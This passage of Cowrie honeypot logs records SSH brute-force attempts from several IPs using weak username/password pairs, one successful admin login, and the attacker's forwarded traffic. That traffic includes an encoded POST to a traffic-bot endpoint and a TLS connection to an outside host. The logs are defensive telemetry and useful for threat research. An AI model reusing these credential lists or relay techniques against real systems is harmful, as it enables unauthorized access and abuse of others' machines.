1@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:50.125916Z","src_ip":"91.92.40.36","session":"6e5e6f9426b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:50.638512Z","src_ip":"45.153.34.195","session":"efb87e3a0430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:51.089934Z","src_ip":"91.92.40.36","session":"6e5e6f9426b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36744832992554,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:51.346431Z","src_ip":"172.81.62.90","session":"9c87a1159857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:51.737088Z","src_ip":"45.153.34.195","session":"efb87e3a0430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:52.399703Z","src_ip":"91.92.40.36","session":"6e5e6f9426b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38686,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e97506c933f","protocol":"ssh","message":"New connection: 45.153.34.195:38686 (10.17.0.5:22) [session: 5e97506c933f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:52.672971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:52.676988Z","src_ip":"45.153.34.195","session":"5e97506c933f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:52.843763Z","src_ip":"45.153.34.195","session":"5e97506c933f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567","message":"login attempt [user/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:53.309188Z","src_ip":"45.153.34.195","session":"5e97506c933f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.3","message":"Connection lost after 39.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:53.563347Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:53.685905Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:54.395503Z","src_ip":"45.153.34.195","session":"5e97506c933f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38702,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad3fbd8e9570","protocol":"ssh","message":"New connection: 45.153.34.195:38702 (10.17.0.5:22) [session: ad3fbd8e9570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:55.646717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:55.651259Z","src_ip":"45.153.34.195","session":"ad3fbd8e9570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:55.747851Z","src_ip":"45.153.34.195","session":"ad3fbd8e9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:56.021507Z","src_ip":"45.153.34.195","session":"ad3fbd8e9570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.106421Z","src_ip":"45.153.34.195","session":"ad3fbd8e9570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30342,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1f207072042","protocol":"ssh","message":"New connection: 91.92.40.36:30342 (10.17.0.5:22) [session: b1f207072042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.363452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.787020Z","src_ip":"91.92.40.36","session":"b1f207072042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.790496Z","src_ip":"91.92.40.36","session":"b1f207072042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52188,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f59f1a1bcf","protocol":"ssh","message":"New connection: 113.164.152.20:52188 (10.17.0.5:22) [session: 51f59f1a1bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.876828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:57.884863Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:58.173665Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38710,"dst_ip":"10.17.0.5","dst_port":22,"session":"034eb18cc100","protocol":"ssh","message":"New connection: 45.153.34.195:38710 (10.17.0.5:22) [session: 034eb18cc100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:58.664289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:58.670493Z","src_ip":"45.153.34.195","session":"034eb18cc100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:58.762625Z","src_ip":"45.153.34.195","session":"034eb18cc100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:59.050371Z","src_ip":"91.92.40.36","session":"b1f207072042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:59.090744Z","src_ip":"45.153.34.195","session":"034eb18cc100","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:59.519138Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.040032Z","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.171518Z","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.181053Z","src_ip":"45.153.34.195","session":"034eb18cc100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.539511Z","src_ip":"91.92.40.36","session":"b1f207072042","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.677285Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZGV0TGVtI0Z6JlF5c3k1SA%3D%3D6qlDOPca5xX5nOrFSOF824%2FCukpZf5t773Z0r3BmIGQgnpiH5nq3kCPqYe%2BkyWRDkvYYN5Bqe5YR%2BPRGDMxn%2F9HIuhsHhG%2BjTQyjpSrhDw03UPi5T9tHO8IOIBLgpQqfocfRQx2HLcdy5K9eRTyUda5J5MLYT1VtK2%2BSgYEaEyVJaqchtrdBhJyilZJpkSrYpPXqrWW6KSy2VvTaHIKeQN6vAGtMxwwYTViU5Sg11JsIabcym89P8CJ5vfoWttDCbyJZ06ihDPRc8RIosE1Fn9Fr0VUmbltayL%2B5UsszIcLfhkJFydPyeXTVezI3%2BBsgqHAJm0gss7BR5kgqdxu06G4XlphGLqjczOTWQ0JzdbVJPjZTzMEa69fJW4vnxW3plFH1f5c%2FUlKvkACHYumWXKsqxBePOdr5VBtz87zfupBg%2F5A7AMZ3oomdngGUHTOnPv0zADAv9hdJeawhQ%2FCPO08%2B%2FWwe%2FXgCDhqgAWeNB%2Be9QaBEEdFbFSTgDvOwaDbM3li%2FkkNimvWrXuqj1Vq7g%2BrzWg1BRax4%2BGpbv5hpXUSFRL7y8pCi%2FnuwSYLhF9KfJGQbvBYeO8StKRM8tkJvTGVI0zPKaz%2Bi44OiLyzBj4ziZfKjxViSZXxAdblnf973Af%2Bq0ErVUt3VN5g89UzGcRRSdG7g3FFjwX4ZyuxLfdp%2FEdZoW8BJDW%2BukHJj7SJ6jq7jKDEq1ZnKHYfCHenJKpw6EyIKQL7wROFH0OgNoSWpTYr68aEWCHGXLS9PLiHuRND%2BQ8MC2KzrEQiXt1YYqLjEVYPN4ZuWFwrDG6zcs5SA%2BnEvpmnT1gK8wrr1ITOiqUTLYNzbIOIPMhkjp4ufeis1NNTYYW%2FEPNSu47gCDQgkXo%2F3rahLodRFcdXVtghzk%2BgtlrAhrGGopKyoXd5WSV9e9nrFTSQWbWrkWkUC%2Bilsbr3nQIjg7xLDBf8FhNCrPY26ZjoHBR%2F69KOYonUQ6ZAJm%2FLN5sUSabWrTYxSt7ZFkaAPgJ9tJ85gs7Qh%2FatFYB1J%2BAxJ570XGNnE2UM45Rjp3JLiQoDa7PnrOVhYmVC5n9WwGS%2BGmWXVI62jEFIP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZGV0TGVtI0Z6JlF5c3k1SA%3D%3D6qlDOPca5xX5nOrFSOF824%2FCukpZf5t773Z0r3BmIGQgnpiH5nq3kCPqYe%2BkyWRDkvYYN5Bqe5YR%2BPRGDMxn%2F9HIuhsHhG%2BjTQyjpSrhDw03UPi5T9tHO8IOIBLgpQqfocfRQx2HLcdy5K9eRTyUda5J5MLYT1VtK2%2BSgYEaEyVJaqchtrdBhJyilZJpkSrYpPXqrWW6KSy2VvTaHIKeQN6vAGtMxwwYTViU5Sg11JsIabcym89P8CJ5vfoWttDCbyJZ06ihDPRc8RIosE1Fn9Fr0VUmbltayL%2B5UsszIcLfhkJFydPyeXTVezI3%2BBsgqHAJm0gss7BR5kgqdxu06G4XlphGLqjczOTWQ0JzdbVJPjZTzMEa69fJW4vnxW3plFH1f5c%2FUlKvkACHYumWXKsqxBePOdr5VBtz87zfupBg%2F5A7AMZ3oomdngGUHTOnPv0zADAv9hdJeawhQ%2FCPO08%2B%2FWwe%2FXgCDhqgAWeNB%2Be9QaBEEdFbFSTgDvOwaDbM3li%2FkkNimvWrXuqj1Vq7g%2BrzWg1BRax4%2BGpbv5hpXUSFRL7y8pCi%2FnuwSYLhF9KfJGQbvBYeO8StKRM8tkJvTGVI0zPKaz%2Bi44OiLyzBj4ziZfKjxViSZXxAdblnf973Af%2Bq0ErVUt3VN5g89UzGcRRSdG7g3FFjwX4ZyuxLfdp%2FEdZoW8BJDW%2BukHJj7SJ6jq7jKDEq1ZnKHYfCHenJKpw6EyIKQL7wROFH0OgNoSWpTYr68aEWCHGXLS9PLiHuRND%2BQ8MC2KzrEQiXt1YYqLjEVYPN4ZuWFwrDG6zcs5SA%2BnEvpmnT1gK8wrr1ITOiqUTLYNzbIOIPMhkjp4ufeis1NNTYYW%2FEPNSu47gCDQgkXo%2F3rahLodRFcdXVtghzk%2BgtlrAhrGGopKyoXd5WSV9e9nrFTSQWbWrkWkUC%2Bilsbr3nQIjg7xLDBf8FhNCrPY26ZjoHBR%2F69KOYonUQ6ZAJm%2FLN5sUSabWrTYxSt7ZFkaAPgJ9tJ85gs7Qh%2FatFYB1J%2BAxJ570XGNnE2UM45Rjp3JLiQoDa7PnrOVhYmVC5n9WwGS%2BGmWXVI62jEFIP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.680738Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.686989Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xc8V\\xb7\\xa2\\x80\\xbe8D\\x89\\x8e\\x0e\\xba\\x80\\x08{\\xeb\\xed\\xbd\\xb4\\x80)\\x81)\\x13[>J\\x85\\xd7\\x16\\xea #+\\xf6\\x0f\\xe0w\\x8bG2\\xbe?\\x13\\x1a\\xd7\\x89\\xc6`\\xc6(+\\x1a\\x1a\\x10L\\x10%\\x0fIt\\xe0!\\xc0\\x00 